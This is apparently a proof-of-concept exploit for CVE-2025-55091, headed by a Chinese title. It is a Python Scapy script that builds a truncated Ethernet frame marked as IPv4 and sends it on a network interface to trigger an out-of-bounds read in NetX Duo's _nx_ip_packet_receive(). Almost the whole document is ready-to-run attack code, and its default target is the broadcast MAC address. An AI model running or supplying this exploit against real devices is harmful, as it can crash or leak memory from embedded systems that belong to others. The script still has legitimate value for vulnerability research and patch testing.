CVE-2025-55091 NetX Duo _nx_ip_packet_receive函数越界读取漏洞

# CVE-2025-55091 PoC - NetX Duo Out-of-Bounds Read in _nx_ip_packet_receive() # This PoC demonstrates crafting a malicious Ethernet frame with IP type but no IP data # to trigger out-of-bounds read in NetX Duo's _nx_ip_packet_receive() function from scapy.all import Ether, sendp, Raw def craft_exploit_packet(target_mac, interface="eth0"): """ Craft a malicious Ethernet frame: - Ethernet type set to IP (0x0800) - No actual IP payload data This triggers OOB read in _nx_ip_packet_receive() """ # Create Ethernet frame with IP type but minimal/no IP data # The frame declares itself as IP but contains insufficient IP data packet = Ether(dst=target_mac, type=0x0800) # type=0x0800 means IPv4 # Optionally add minimal data to simulate truncated IP packet # This forces the parser to read beyond valid buffer boundaries packet = packet / Raw(load=b"\x00" * 4) # Only 4 bytes instead of minimum IP header (20 bytes) return packet def exploit(target_mac="ff:ff:ff:ff:ff:ff", interface="eth0", count=1): """ Send the crafted exploit packet to trigger the vulnerability """ print(f"[*] Crafting malicious Ethernet frame targeting {target_mac}") packet = craft_exploit_packet(target_mac, interface) print(f"[*] Packet details:") packet.show() print(f"[*] Sending {count} exploit packet(s) on interface {interface}") sendp(packet, iface=interface, count=count, verbose=True) print("[+] Exploit packet sent successfully") if __name__ == "__main__": # Replace with target MAC address and network interface exploit( target_mac="01:02:03:04:05:06", # Target device MAC interface="eth0", # Network interface count=1 # Number of packets to send )